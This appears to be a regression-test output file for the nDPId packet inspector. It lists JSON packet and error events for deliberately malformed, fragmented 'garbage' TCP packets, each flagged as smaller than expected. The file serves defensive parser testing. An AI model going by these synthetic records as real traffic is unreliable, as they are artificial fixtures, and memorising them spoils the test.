-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169011} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169049} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169061} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169072} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169082} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169097} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169135} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169162} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169220} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169234} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169249} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169262} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169274} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169289} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169327} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169339} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169352} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169368} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169380} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169406} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169417} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169432} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169458} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169470} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169483} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169534} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169548} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169564} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169590} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169604} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169617} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169629} 